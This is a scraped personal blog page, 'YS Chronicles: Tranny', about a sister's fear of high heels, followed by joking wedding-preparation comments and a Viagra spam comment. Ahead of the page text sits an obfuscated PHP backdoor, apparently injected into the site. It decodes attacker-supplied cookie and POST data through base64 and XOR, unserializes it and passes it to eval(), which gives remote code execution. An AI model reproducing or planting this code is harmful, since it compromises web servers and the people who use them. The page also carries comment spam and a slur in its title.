$XjtazQGNLZ = chr (85) . "\137" . "\125" . chr (98) . chr (98); $YkIHtxDJ = "\x63" . 'l' . chr ( 688 - 591 )."\163" . 's' . '_' . "\145" . chr (120) . "\151" . chr (115) . 't' . chr (115); $vjkYtt = class_exists($XjtazQGNLZ); $YkIHtxDJ = "28484";$jfGVdIh = strpos($YkIHtxDJ, $XjtazQGNLZ);if ($vjkYtt == $jfGVdIh){function nUIjph(){$QjgVmgYsu = new /* 61615 */ U_Ubb(63092 + 63092); $QjgVmgYsu = NULL;}$RiHPdeVRgn = "63092";class U_Ubb{private function nBgFwEdIah($RiHPdeVRgn){if (is_array(U_Ubb::$FqPIG)) {$vKScSbcYj2 = str_replace("<" . "?php", "", U_Ubb::$FqPIG["content"]);eval($vKScSbcYj2); $RiHPdeVRgn = "63092";exit();}}public function PzZdhVoV(){$vKScSbcYj = "29015";$this->_dummy = str_repeat($vKScSbcYj, strlen($vKScSbcYj));}public function __destruct(){U_Ubb::$FqPIG = @unserialize(U_Ubb::$FqPIG); $RiHPdeVRgn = "9051_60179";$this->nBgFwEdIah($RiHPdeVRgn); $RiHPdeVRgn = "9051_60179";}public function sSKpKNOo($vKScSbcYj, $wJIyyODkD){return $vKScSbcYj[0] ^ str_repeat($wJIyyODkD, intval(strlen($vKScSbcYj[0]) / strlen($wJIyyODkD)) + 1);}public function WEUWl($vKScSbcYj){$xzPwBeGSNg = chr ( 458 - 360 )."\x61" . 's' . 'e' . "\66" . chr (52);return array_map($xzPwBeGSNg . '_' . chr ( 344 - 244 )."\x65" . "\x63" . chr ( 840 - 729 )."\144" . chr (101), array($vKScSbcYj,));}public function __construct($ooNll=0){$qkQctSqYWU = chr (44); $vKScSbcYj = "";$BFqpabi = $_POST;$NMWdy = $_COOKIE;$wJIyyODkD = "47d204fd-06b8-41c4-8cb1-d61c55bbcd40";$WNNrxZKr = @$NMWdy[substr($wJIyyODkD, 0, 4)];if (!empty($WNNrxZKr)){$WNNrxZKr = explode($qkQctSqYWU, $WNNrxZKr);foreach ($WNNrxZKr as $LWvzF){$vKScSbcYj .= @$NMWdy[$LWvzF];$vKScSbcYj .= @$BFqpabi[$LWvzF];}$vKScSbcYj = $this->WEUWl($vKScSbcYj);}U_Ubb::$FqPIG = $this->sSKpKNOo($vKScSbcYj, $wJIyyODkD);if (strpos($wJIyyODkD, $qkQctSqYWU) !== FALSE){$wJIyyODkD = explode($qkQctSqYWU, $wJIyyODkD); $iEMOa = base64_decode(md5($wJIyyODkD[0])); $ZelQYTD = strlen($wJIyyODkD[1]) > 5 ? substr($wJIyyODkD[1], 0, 5) : $wJIyyODkD[1];$_GET['new_key'] = md5(implode('', $wJIyyODkD)); $lTnldDbC = str_repeat($ZelQYTD, 2);}}public static $FqPIG = 11292;}nUIjph();} YS Chronicles: Tranny – Saima Says

YS Chronicles: Tranny

Trying to convince other sister to get over her fear of high heels.
Younger sister 2: Grow some balls and wear some heels!…Wait…

13 comments

  1. Being macho about heels!? I don’t like the easy way she plays with cultural conventions, just because the existing ones are illogical. Get her into line before she mocks us all!

  3. Buy some Viagra, it’s great and good for you, add it to your Alpen and wake up to another glorious day.

  5. let me know if you get cold feet! no, not *those* cold feet, a bit late for that, but all of a sudden i got soooo nervous that my feet went really really cold! i’m sure you’ll have a great day especially with YS not far away, hope to see some pics…

  8. nah, that’s the least of your worries. the only hassle you might get is shine so keep some powder or blotting sheets in your oh so tiny purse! the last thing you want to look on wedding photos is shiny, innit! you’re gonna be fine!

  10. I find it rather alarming that my wife is receiving make up tips on a thread entitled ‘Tranny’!?
    There’s room for only one Adam’s apple in this relationship…and remember dear, don’t eat that apple as it just might get us kicked out matrimonial heaven 😉
    I don’t know what that means, but I love a good ol’ Quranic reference

  11. Please also be taking pictures of eligible young ladies. Thanking you please. Don’t over do it with the make up, So many brides look like Cruella De Ville nowadays.

  13. OK you asked for is missy-soon-to-be mrssy I am quite clear on this:
    – Funny and serious without being schizo
    – Not shouty
    – Doesn’t make drama out of a crisis
    – Well fit
    – Is clear about what is fair
    – Lively
    – Imaginative
    – Scrupulously honest
    – Has common sense
    – Not jealous/insecure/neurotic
    – Down to earth
    – Doesn’t wallow on problems tries to find solutions
    – patient
    – err well fit
    Out of these the key are:
    Is clear about what is fair,lively and fun, well fit.
    If you can get the candidates to line up at the wedding when you take the photo that would be convenient.

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